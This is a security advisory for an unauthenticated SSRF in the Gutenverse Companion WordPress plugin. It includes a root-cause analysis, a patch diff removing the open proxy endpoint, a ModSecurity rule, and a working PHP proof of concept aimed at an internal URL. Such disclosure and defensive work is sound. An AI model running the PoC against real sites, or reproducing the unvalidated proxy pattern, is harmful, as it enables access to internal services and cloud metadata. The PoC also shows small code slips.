Atomic Edge analysis of CVE-2026-66704: This vulnerability is an unauthenticated Server-Side Request Forgery (SSRF) in the Gutenverse Companion plugin for WordPress, affecting versions up to and including 2.5.1. The flaw resides in the plugin’s REST API endpoint, allowing attackers to make arbitrary web requests from the server. Atomic Edge research assigns a CVSS score of 7.2 (High) due to the potential for internal network reconnaissance and data exfiltration.
Root Cause: The vulnerability exists in the class-api.php file, specifically in the essence_proxy method of the Api class. The plugin registers a REST route at /wp-json/gutenverse-essence/v1/gutenverse-essence-proxy with a permission_callback set to __return_true, meaning no authentication is required. The essence_proxy function takes user-supplied parameters (url, body, method) and passes them directly to wp_remote_request without any validation of the destination URL. This allows an attacker to specify any URL, including internal services, and the server will execute the request. The patch removes the entire class-api.php file and the instantiation of the Api class in class-init.php, effectively eliminating the vulnerable endpoint.
Exploitation: An attacker can exploit this by sending a POST request to /wp-json/gutenverse-essence/v1/gutenverse-essence-proxy with a JSON body containing the url parameter set to an internal target (e.g., http://127.0.0.1:8080/admin). The method parameter can be set to GET, POST, etc., and the body parameter can include data to send. The server will then make the request to the specified URL and return the response body to the attacker, enabling access to internal services, cloud metadata endpoints, or other sensitive resources.
Patch Analysis: The patch (version 2.5.2) removes the vulnerable Api class entirely from class-api.php and removes its instantiation in class-init.php. This eliminates the REST endpoint, preventing any unauthenticated SSRF attacks. The before behavior allowed any unauthenticated user to proxy arbitrary requests; after the patch, the endpoint no longer exists, and the plugin no longer exposes this functionality.
Impact: Successful exploitation allows an attacker to perform SSRF, which can lead to internal network scanning, access to metadata services (e.g., AWS EC2 metadata), interaction with internal APIs, and potentially remote code execution if internal services are vulnerable. The attacker can also use the server as a proxy to bypass network restrictions or launch further attacks. Given the unauthenticated nature, this poses a significant risk to WordPress sites using the plugin.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/gutenverse-companion/gutenverse-companion.php
+++ b/gutenverse-companion/gutenverse-companion.php
@@ -4,7 +4,7 @@
* Description: Mandatory plugin to install when installing Base themes from Gutenverse.
* Plugin URI: https://gutenverse.com/
* Author: Jegstudio
- * Version: 2.5.1
+ * Version: 2.5.2
* Author URI: https://jegtheme.com/
* License: GPLv3
* Text Domain: gutenverse-companion
@@ -19,7 +19,7 @@
use Gutenverse_CompanionInit;
defined( 'GUTENVERSE_COMPANION' ) || define( 'GUTENVERSE_COMPANION', 'gutenverse-companion' );
-defined( 'GUTENVERSE_COMPANION_VERSION' ) || define( 'GUTENVERSE_COMPANION_VERSION', '2.5.1' );
+defined( 'GUTENVERSE_COMPANION_VERSION' ) || define( 'GUTENVERSE_COMPANION_VERSION', '2.5.2' );
defined( 'GUTENVERSE_COMPANION_NOTICE_VERSION' ) || define( 'GUTENVERSE_COMPANION_NOTICE_VERSION', '1.0.0' );
defined( 'GUTENVERSE_COMPANION_NAME' ) || define( 'GUTENVERSE_COMPANION_NAME', 'Gutenverse Companion' );
defined( 'GUTENVERSE_COMPANION_URL' ) || define( 'GUTENVERSE_COMPANION_URL', plugins_url( GUTENVERSE_COMPANION ) );
--- a/gutenverse-companion/includes/essential/class-api.php
+++ b/gutenverse-companion/includes/essential/class-api.php
@@ -1,75 +0,0 @@
-<?php
-/**
- * API
- *
- * @author Jegstudio
- * @since 1.0.0
- * @package gutenverse-companion
- */
-
-namespace Gutenverse_CompanionEssential;
-
-use WP_REST_Response;
-
-/**
- * Class API
- *
- * @package gutenverse-companion
- */
-class Api {
- /**
- * Api constructor.
- */
- public function __construct() {
-
- add_action( 'rest_api_init', array( $this, 'register_routes' ) );
- }
-
- /**
- * Register Jeg Theme Essence APIs
- */
- public function register_routes() {
- register_rest_route(
- 'gutenverse-essence/v1',
- '/gutenverse-essence-proxy',
- array(
- 'methods' => 'POST',
- 'callback' => array( $this, 'essence_proxy' ),
- 'permission_callback' => '__return_true',
- )
- );
- }
- /**
- * Essence Proxy
- *
- * @param WP_REST_Request $request .
- */
- public function essence_proxy( $request ) {
- $url = gutenverse_esc_data( $request->get_param( 'url' ) );
- $body = gutenverse_esc_data( (array) $request->get_param( 'body' ), 'array' );
- $method = gutenverse_esc_data( $request->get_param( 'method' ) );
- $response = wp_remote_request(
- $url,
- array(
- 'method' => strtoupper( $method ),
- 'body' => $body ? json_encode( $body ) : $body,
- 'headers' => array(
- 'Content-Type' => 'application/json',
- ),
- )
- );
-
- if ( is_wp_error( $response ) ) {
- return new WP_REST_Response(
- array(
- 'active' => false,
- 'status' => 'failed',
- ),
- 400
- );
- }
-
- $external_api_body = wp_remote_retrieve_body( $response );
- return rest_ensure_response( json_decode( $external_api_body ) );
- }
-}
--- a/gutenverse-companion/includes/essential/class-init.php
+++ b/gutenverse-companion/includes/essential/class-init.php
@@ -84,7 +84,6 @@
$this->style_generator = new Style_Generator();
}
$this->assets = new Assets();
- $this->api = new Api();
}
/**
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-66704
SecRule REQUEST_URI "@streq /wp-json/gutenverse-essence/v1/gutenverse-essence-proxy"
"id:20266670,phase:2,deny,status:403,log,msg:'CVE-2026-66704: Unauthenticated SSRF via Gutenverse Companion proxy endpoint',severity:'CRITICAL',tag:'CVE-2026-66704'"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66704 - Gutenverse Companion <= 2.5.1 - Unauthenticated Server-Side Request Forgery
$target_url = 'http://example.com'; // Change to the WordPress site URL
$internal_url = 'http://127.0.0.1:8080/admin'; // Internal target to access
$endpoint = rtrim($target_url, '/') . '/wp-json/gutenverse-essence/v1/gutenverse-essence-proxy';
$payload = json_encode([
'url' => $internal_url,
'method' => 'GET',
'body' => []
]);
$ch = curl_init($endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json'
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response === false) {
echo "Request failed: " . curl_error($ch) . "n";
} else {
echo "HTTP Status: $http_coden";
echo "Response Body:n$responsen";
}